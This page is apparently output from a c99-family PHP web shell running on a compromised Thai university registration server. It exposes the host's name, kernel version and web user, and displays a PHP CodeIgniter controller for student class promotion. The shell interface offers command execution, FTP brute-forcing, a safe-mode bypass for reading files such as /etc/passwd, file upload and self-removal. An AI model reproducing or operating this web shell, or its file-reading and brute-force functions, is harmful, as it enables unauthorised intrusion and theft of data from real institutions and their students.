!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/controllers/eregis-12022565/   drwxrwxrwx
Free 51 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     passSt.php (14.2 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include("rg_controller.php");
class 
passSt extends Rg_controller {

    function 
showPassStCur() {

        
$this->output($this->config->item("rg_folder")."v_showPassStCur");
    }

    function 
passStCur() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<div class="error">','</div>');
        
$this->form_validation->set_rules('curName',' ','trim|xss_clean');
        
$this->form_validation->set_rules('curId','  ','trim|required|xss_clean');
        
$this->form_validation->set_rules('adY',' ','trim|xss_clean');
        
$this->form_validation->set_rules('stdSyId',' ','trim|required|callback_checkSy|xss_clean');

        if(
$this->form_validation->run() == true) {
            
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculum','cur');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_studyyear','sy');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_studentsummary','ssm');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_term','tm');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_student','std');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_registdetails','rd');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopen','co');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_condition','cd');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_grade','grd');

            
$curId $this->input->post('curId');
            
$adY $this->input->post('adY');
            
$syId $this->input->post('stdSyId');

            
$this->cur->curId $curId;
            
$qu_cur $this->cur->get_by_key();
            
$this->contents['qu_cur'] = $qu_cur;
            
$row_cur $qu_cur->row();

            
$this->contents['adY'] = $adY;

            
$this->sy->syId $syId;
            
$this->contents['qu_sy'] = $this->sy->get_by_key();

            
$stStatus '1, 2';        //สถานะนักศึกษาต้องเป็น กำลังศึกษาอยู่และรักษาสภาพ
            
$acY $this->ssm->getMaxAcYByCurIdAdYSyId($curId$adY$syId$stStatus); //หาปีการศึกษาที่มากสุด

            
$this->contents['acY'] = $acY;

            
/* หาเทอมที่มากสุด 
               note: เวลาประมวลผลเกรดแล้วต้องมี record ที่ตารางนี้ */
            
$tmId $this->ssm->getMaxTmIdByCurIdAdYSyIdAcY($curId$adY$syId$acY$stStatus); 
            
$this->tm->tmId $tmId;
            
$this->contents['qu_tm'] = $this->tm->get_by_key();
            


            
/* กรณีที่ยังไม่ประมวลผลเกรด */
            
if(!$tmId) {
                
$this->contents['err_msg'] = "** ยังไม่ได้ประมวลผลเกรด **";

                
$rs_std $this->std->qryStdByCurIdAdYSyIdSstIdStr($curId$adY$syId$stStatus);
              
/*            } else if ($tmId == 1) {
                if ($tmId == $this->session->userdata('tmId')) {
                    $this->contents['err_msg'] = "** ไม่สามารถเลื่อนชั้นได้ เนื่องจากเป็นภาคการศึกษาที่ 1 **";
                } else {
                    $this->contents['err_msg'] = "** ยังไม่ได้ประมวลผลเกรดภาคการศึกษานี้ **";
                }  */
            
}
            
/* กรณีส่งเกรดไม่ครบ */
            
else {
                
$flagIEPX 0;
                
$msgIEPX "";
                
$rs_std $this->std->qryStdByCurIdAdYSyIdSstIdStr($curId$adY$syId$stStatus);
                foreach (
$rs_std->result() as $row_std) {
                    
// ส่งเกรดไม่ครบ ไม่ให้เลื่อนชั้น
                    
$rs_rd $this->rd->qryRdByStdIdAcYSendGrIsNUnionGradeInIEPX($row_std->stdId$acY);
                    if (
$rs_rd->num_rows()) {
                        
$flagIEPX 1;

                        
$con_rs_co = array('coId'    => $rs_rd->row()->rdCoId);
                        
$rs_co $this->co->qryCoJoinCrs($con_rs_co);
                        
$msgIEPX .= '<br>'.$row_std->stdCode.' => '.$rs_co->row()->crsCode;
                    }
                }
                
                
$this->contents['flagIEPX'] = $flagIEPX;
                if (
$flagIEPX) {
                    
$this->contents['err_msg'] = "** ส่งเกรดไม่ครบ **";
                    
$this->contents['msgIEPX'] = $msgIEPX;
                }
            }

            
$arr = array();
            
$flagPass 0;
            
$i 0;
            
$rs_std $this->std->qryStdByCurIdAdYSyIdSstIdStr($curId$adY$syId$stStatus);
            foreach (
$rs_std->result() as $row_std) {
                
$this->ssm->ssmStdId $row_std->stdId;
                
$this->ssm->ssmAcY $acY;
                
$this->ssm->ssmTmId $tmId;
                
$qu_ssm $this->ssm->get_by_key();
// echo $this->std->db->last_query();
                
if ($qu_ssm->num_rows() && $qu_ssm->row()->ssmPassStatus == 0) {

                    
// หาสถานะการเลื่อนชั้น
                    
$passStatus $this->rd->getPassStatusByStdIdAcY($row_std->stdId$acY);
                    
$arr[$i]['passStatus'] = $passStatus;

                    
$con_qu_std = array('stdId'     => $row_std->stdId);
                    
$arr[$i]['qu_std'] = $this->std->qryStdJoinPf($con_qu_std);

                    
$grdStr "";
                    
$j 0;
                    
$con_rs_rd = array('rdStdId'    => $row_std->stdId,
                        
'rdAcY'    => $acY
                    
);
                    
$rs_rd $this->rd->qryRdJoinCoCrs($con_rs_rd);

                    foreach (
$rs_rd->result() as $row_rd) {
                        
$this->cd->cdId $row_rd->coCdId1;
                        
$qu_cd $this->cd->get_by_key();

                        
$con_qu_grd = array('grdGrade'    => $row_rd->rdGrade,
                            
'grdGtpId'    => $row_cur->curGtpId
                        
);
                        
$qu_grd1 $this->grd->qryGrd($con_qu_grd);

                        
$con_qu_grd = array('grdGrade'    => $qu_cd->row()->cdMinGrade,
                            
'grdGtpId'    => $row_cur->curGtpId
                        
);
                        
$qu_grd2 $this->grd->qryGrd($con_qu_grd);
                        
$grdPoint2 $qu_grd2->num_rows() ? $qu_grd2->row()->grdPoint 0;

                        
$qu_rd $this->rd->qryRdByStdIdAcYCoIdGrInAtoF($row_std->stdId$acY$row_rd->rdCoId);

                        if (
$row_rd->rdGrade && (($qu_rd && ($qu_grd1->row()->grdPoint $grdPoint2)) || ($row_rd->rdGrade == 'U'))) {
                            if ((
$j%4) == 0) {
                                if (
$j != 0)
                                    
$grdStr .= ',';

                                
$grdStr .= '<br>';
                            } else
                                
$grdStr .= ', ';
                        
                            
$grdStr .= $row_rd->crsCode.' : '.$row_rd->rdGrade;

                            
$j++;
                        }
                    }
                    
$arr[$i]['grdStr'] = $grdStr;

                    
$flagPass 1;
                }

                
$i++;
            }
            
$this->contents['rs'] = $arr;
            
$this->contents['flagPass'] = $flagPass;
            
$this->contents['rs_passStatus'] = array(=> 1=> 2=> 3=> 4=> 5);

            
$this->output($this->config->item("rg_folder")."v_passStCur");
        } else
            
$this->showPassStCur();
    }

    function 
processPassStCur() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_student','std');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_studyyear','sy');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_studentsummary','ssm');

        
$stdId $this->input->post('stdId');
        
$acY $this->input->post('acY');
        
$tmId $this->input->post('tmId');
        
$passStatus $this->input->post('passStatus');

        
$this->db->trans_begin();

        
$cntPass 0;
        for (
$i 0$i count($passStatus); $i++) {
            if (
$passStatus[$i] <= 3) {
                
$this->std->stdId $stdId[$i];
                
$this->std->get_by_key(TRUE);

                
$this->sy->syId $this->std->stdSyId;
                
$qu_sy $this->sy->get_by_key();
                
$syCode $qu_sy->num_rows() ? ($qu_sy->row()->syCode 1) : 0;

                
$con_qu_sy = array('syCode'    => $syCode);
                
$qu_sy $this->sy->qrySy($con_qu_sy);
                if (
$qu_sy->num_rows()) {
                    
$this->std->stdSyId $qu_sy->row()->syId;
                    
$this->std->stdUpdateUsLogin $this->session->userdata('UsLogin');
                    
$this->std->stdUpdateDate date('Y-m-d H:i:s');
                    
$this->std->update();

                    
$cntPass++;
                }
            }

            
$this->std->stdId $stdId[$i];
            
$this->std->get_by_key(TRUE);

            
$this->ssm->ssmStdId $stdId[$i];
            
$this->ssm->ssmTmId $tmId;
            
$this->ssm->ssmAcY $acY;
            
$this->ssm->get_by_key(TRUE);

            
$this->ssm->ssmUpdateUserId $this->session->userdata('UsLogin');
            
$this->ssm->ssmUpdateDate date('Y-m-d H:i:s');
            
$this->ssm->ssmPassStatus $passStatus[$i];
            
$this->ssm->ssmSyId $this->std->stdSyId;
            
$this->ssm->update();
        }

        if (
$this->db->trans_status() === false) {
            
$this->db->trans_rollback();
        } else {
            
$this->db->trans_commit();
        }

        
$this->contents['success_msg'] = "จำนวนนักศึกษาที่เลื่อนชั้น ".$cntPass." คน";
        
$this->showPassStCur();
    }

    function 
passStStd() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_student','std');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_studentsummary','ssm');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculum','cur');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_registdetails','rd');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_condition','cd');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_grade','grd');

        
$stdCode $this->input->post('stdCode');

        
$this->form_validation->set_error_delimiters('<div class="error">','</div>');
        
$this->form_validation->set_rules('stdCode',' ','trim|is_natural_no_zero|callback_checkInt|integer|xss_clean');

        if(
$this->form_validation->run() == true) {
                
$stStatus '1, 2';
                
$qu_std $this->std->qryStdByCodeStStatus($stdCode$stStatus);

                if (
$qu_std->num_rows()) {
                    
$this->contents['stdCode'] = $stdCode;
                    
                    
$row_std $qu_std->row();

                    
$acY $this->ssm->getMaxAcYByStdId($row_std->stdId);
                    
$this->contents['acY'] = $acY;
                    
$tmId $this->ssm->getMaxTmIdByStdIdAcY($row_std->stdId$acY);
                    
$this->contents['tmId'] = $tmId;

                    
$con_qu_std = array('stdId'     => $row_std->stdId);
                    
$this->contents['qu_std'] = $this->std->qryStdJoinPfCurSySstElv($con_qu_std);

                    
$this->ssm->ssmStdId $row_std->stdId;
                    
$this->ssm->ssmTmId $tmId;
                    
$this->ssm->ssmAcY $acY;

                    
$qu_ssm $this->ssm->get_by_key();
                    
$this->contents['qu_ssm'] = $qu_ssm;

                    
$this->cur->curId $row_std->stdCurId;
                    
$qu_cur $this->cur->get_by_key();
                    
$row_cur $qu_cur->row();

                    
// หารายวิชาที่สอบไม่ผ่าน
                    
$grdStr "";
                    
$i 0;
                    
$con_rs_rd = array('rdStdId'    => $row_std->stdId,
                        
'rdAcY'    => $acY
                    
);
                    
$rs_rd $this->rd->qryRdJoinCoCrs($con_rs_rd);
                    foreach (
$rs_rd->result() as $row_rd) {
                        
$this->cd->cdId $row_rd->coCdId1;
                        
$qu_cd $this->cd->get_by_key();

                        
$con_qu_grd = array('grdGrade'    => $row_rd->rdGrade,
                            
'grdGtpId'    => $row_cur->curGtpId
                        
);
                        
$qu_grd1 $this->grd->qryGrd($con_qu_grd);

                        
$con_qu_grd = array('grdGrade'    => $qu_cd->row()->cdMinGrade,
                            
'grdGtpId'    => $row_cur->curGtpId
                        
);
                        
$qu_grd2 $this->grd->qryGrd($con_qu_grd);

                        
$grdPoint2 $qu_grd2->num_rows() ? $qu_grd2->row()->grdPoint 0;

                        
$qu_rd $this->rd->qryRdByStdIdAcYCoIdGrInAtoF($row_std->stdId$acY$row_rd->rdCoId);

                        if (
$row_rd->rdGrade && (($qu_rd && ($qu_grd1->row()->grdPoint $grdPoint2)) || ($row_rd->rdGrade == 'U'))) {
                            
$grdStr .= '<div>';
                            
$grdStr .= '<span style="width: 50%">'.$row_rd->crsCode.' : '.$row_rd->crsName.'</span>';
                            
$grdStr .= '<span style="width: 50%">'.$row_rd->rdGrade.'</span>';
                            
$grdStr .= '</div>';

                            
$i++;
                        }
                    }
                    
$this->contents['grdStr'] = $grdStr;

                    if (!
$tmId) {
                        
$this->contents['err_msg'] = "** ยังไม่ได้ประมวลผลเกรด **";
/*                    } else if ($tmId == 1) {
                        if ($tmId == $this->session->userdata('tmId')) {
                            $this->contents['err_msg'] = "** ไม่สามารถเลื่อนชั้นได้ เนื่องจากเป็นภาคการศึกษาที่ 1 **";
                        } else {
                            $this->contents['err_msg'] = "** ยังไม่ได้ประมวลผลเกรดภาคการศึกษานี้ **";
                        }  */
                    
} else {
                        if(
$qu_ssm->row()->ssmPassStatus) {
                            
$this->contents['err_msg'] = "** เลื่อนชั้นแล้ว **";
                        } else {
                            
// ส่งเกรดไม่ครบ ไม่ให้เลื่อนชั้น
                            
$rs_rd $this->rd->qryRdByStdIdAcYSendGrIsNUnionGradeInIEPX($row_std->stdId$acY);
                            if (
$rs_rd->num_rows()) {
                                
$this->contents['err_msg'] = "** ส่งเกรดไม่ครบ **";
                            } else {
                                
$passStatus $this->rd->getPassStatusByStdIdAcY($row_std->stdId$acY);
                                
$this->contents['passStatus'] = $passStatus;
                            }
                        }
                    }
                }
            
$this->output($this->config->item("rg_folder")."v_passSt");
        } else {
            
$this->output($this->config->item("rg_folder")."v_passSt");
        }
    }

    function 
processPassSt() {
        if (
$this->input->post('btnConfirm')) {
            
$this->load->model($this->config->item("rg_folder").'mo_rg_student','std');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_studyyear','sy');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_studentsummary','ssm');

            
$stdId $this->input->post('stdId');
            
$tmId $this->input->post('tmId');
            
$acY $this->input->post('acY');
            
$passStatus $this->input->post('passStatus');

            
$this->db->trans_begin();

            if(
$passStatus <= 3) {
                
$this->std->stdId $stdId;
                
$this->std->get_by_key(TRUE);

                
$this->sy->syId $this->std->stdSyId;
                
$qu_sy $this->sy->get_by_key();
                
$syCode $qu_sy->num_rows() ? ($qu_sy->row()->syCode 1) : 0;

                
$con_qu_sy = array('syCode'    => $syCode);
                
$qu_sy $this->sy->qrySy($con_qu_sy);
                if (
$qu_sy->num_rows()) {
                    
$this->std->stdSyId $qu_sy->row()->syId;
                    
$this->std->stdUpdateUsLogin $this->session->userdata('UsLogin');
                    
$this->std->stdUpdateDate date('Y-m-d H:i:s');
                    
$this->std->update();
                }
            }

            
$this->ssm->ssmStdId $stdId;
            
$this->ssm->ssmTmId $tmId;
            
$this->ssm->ssmAcY $acY;
            
$this->ssm->get_by_key(TRUE);

            
$this->ssm->ssmUpdateUserId $this->session->userdata('UsLogin');
            
$this->ssm->ssmUpdateDate date('Y-m-d H:i:s');
            
$this->ssm->ssmPassStatus $passStatus;
            
$this->ssm->update();

            if (
$this->db->trans_status() === false) {
                
$this->db->trans_rollback();
            } else {
                
$this->db->trans_commit();
            }
        }

        
$this->passStStd();
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0215 ]--